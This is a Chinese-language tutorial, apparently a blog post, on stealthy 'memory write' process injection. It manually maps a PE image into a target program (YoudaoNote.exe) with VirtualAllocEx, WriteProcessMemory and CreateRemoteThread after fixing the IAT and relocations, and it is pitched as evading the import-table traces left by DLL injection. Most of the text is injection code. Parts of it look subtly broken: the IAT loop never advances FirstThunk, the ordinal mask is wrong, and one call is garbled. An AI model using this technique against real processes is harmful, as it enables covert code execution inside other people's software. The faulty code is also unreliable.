内存写入技术详解
字数 617 2025-08-24 23:51:23
内存写入技术详解
前言
内存写入技术是一种比传统DLL注入更隐蔽的注入方式。传统注入方法如全局钩子注入、远程线程注入等会在目标程序的导入表中留下明显痕迹,而内存写入技术通过直接写入shellcode实现更隐蔽的注入。
基础知识
重定位表
重定位表(Relocation Table)用于在程序加载到内存时进行内存地址修正。当程序加载地址与默认ImageBase不同时,需要修正所有"写死"的绝对地址。
重定位表结构:
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;
PE结构
PE文件主要分为两部分:
-
数据管理结构:
- DOS头(MZ头和DOS存根)
- PE头(PE标识、文件头、可选头)
- 节表(描述各节的属性、位置等信息)
-
数据部分:
- 各节的实际数据(代码、数据等)
导入表与IAT表
导入表结构:
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; // 指向INT表
};
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; // 指向DLL名称
DWORD FirstThunk; // 指向IAT表
} IMAGE_IMPORT_DESCRIPTOR;
IAT表(Import Address Table)在加载前存储函数名称,加载后存储实际函数地址。
实现过程
1. 修复IAT表
修复IAT表的关键代码:
DWORD WINAPI FixIATTable(LPVOID ImageBase) {
// 获取PE头信息
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)ImageBase + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER32 pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pNTHeader + 4 + IMAGE_SIZEOF_FILE_HEADER);
// 获取导入表
PIMAGE_IMPORT_DESCRIPTOR pIMPORT_DESCRIPTOR = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)ImageBase + pOptionHeader->DataDirectory[1].VirtualAddress);
while(pIMPORT_DESCRIPTOR->FirstThunk && pIMPORT_DESCRIPTOR->OriginalFirstThunk) {
// 加载DLL
const char* pModuleAddr = (const char*)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->Name);
HMODULE hModule = LoadLibrary(pModuleAddr);
// 处理INT和IAT表
PDWORD OriginalFirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->OriginalFirstThunk);
PDWORD FirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->FirstThunk);
while(*OriginalFirstThunk) {
DWORD dwFuncAddr = 0;
if(*OriginalFirstThunk & 0x80000000) {
// 序号导入
DWORD Original = *OriginalFirstThunk & 0xFFF;
dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)Original);
} else {
// 名称导入
PIMAGE_IMPORT_BY_NAME pImage_IMPORT_BY_NAME = (PIMAGE_IMPORT_BY_NAME)((DWORD)ImageBase + *OriginalFirstThunk);
dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)pImage_IMPORT_BY_NAME->Name);
}
*FirstThunk = dwFuncAddr;
OriginalFirstThunk++;
}
pIMPORT_DESCRIPTOR++;
}
return 1;
}
2. 修复重定位表
修复重定位表的关键代码:
PIMAGE_BASE_RELOCATION pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pAddr + GetRelocAddr(pAddr));
while(pRelocationDirectory->SizeOfBlock != 0 && pRelocationDirectory->VirtualAddress != 0) {
DWORD sizeOfWord = (pRelocationDirectory->SizeOfBlock - 8) / 2;
PWORD pWord = (PWORD)((DWORD)pRelocationDirectory + 8);
for(int i = 0; i < sizeOfWord; i++) {
if(*pWord >> 12 != 0) {
PDWORD offsetAddr = (PDWORD)(pRelocationDirectory->VirtualAddress + (*pWord & 0xFFF) + (DWORD)pAddr);
*offsetAddr = *offsetAddr + (DWORD)pExAddr - GetImageBase(win32/imagebase);
pWord++;
continue;
}
pWord++;
}
pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pRelocationDirectory + pRelocationDirectory->SizeOfBlock);
}
3. 完整注入流程
VOID inject(LPCWSTR InjetName) {
// 1. 获取目标进程信息
WCHAR ProcessName[] = TEXT("YoudaoNote.exe");
DWORD dwPid = GetPid(ProcessName);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);
// 2. 获取关键函数地址
HMODULE hKernel32 = LoadLibrary(TEXT("Kernel32.dll"));
MyLoadlibrary = (pLoadLibrary)GetProcAddress(hKernel32, "LoadLibraryA");
pMyGetAddress = (pGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");
// 3. 计算函数偏移
DWORD CurrentImageBase = (DWORD)GetModuleHandle(NULL);
DWORD dwTemp = (DWORD)ThreadProc;
if(*((char*)dwTemp) == (char)0xE9) {
dwTemp = dwTemp + *((PDWORD)(dwTemp + 1)) + 5;
}
DWORD pFun = dwTemp - CurrentImageBase;
// 4. 加载镜像到内存
LPVOID pImageBuff = LoadImageBuffSelf();
DWORD SizeofImage = GetSizeOfImage(pImageBuff);
DWORD ImageBase = GetImageBase(pImageBuff);
// 5. 在目标进程申请内存
LPVOID pAlloc = NULL;
for(DWORD i = 0; pAlloc == NULL; i += 0x10000) {
pAlloc = VirtualAllocEx(hProcess, (LPVOID)(ImageBase + i), SizeofImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
// 6. 修复重定位表
if((DWORD)pAlloc != ImageBase) {
ChangeImageBase(pImageBuff, (DWORD)pAlloc);
}
// 7. 写入目标进程
WriteProcessMemory(hProcess, pAlloc, pImageBuff, SizeofImage, NULL);
// 8. 创建远程线程执行
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD)pAlloc + pFun), (LPVOID)(pAlloc), 0, NULL);
}
实现效果
成功注入后,目标程序(如"有道云笔记")会:
- 首先弹出一个MessageBox提示框
- 然后每隔一秒钟弹出一个"内存写入"的提示框
这种技术比传统DLL注入更隐蔽,不会在目标程序的导入表中留下明显痕迹。
注意事项
- 需要正确处理重定位表,否则会导致地址错误
- IAT表修复必须在目标进程上下文中进行
- 内存申请时需要考虑对齐问题
- 注入代码需要考虑跨进程兼容性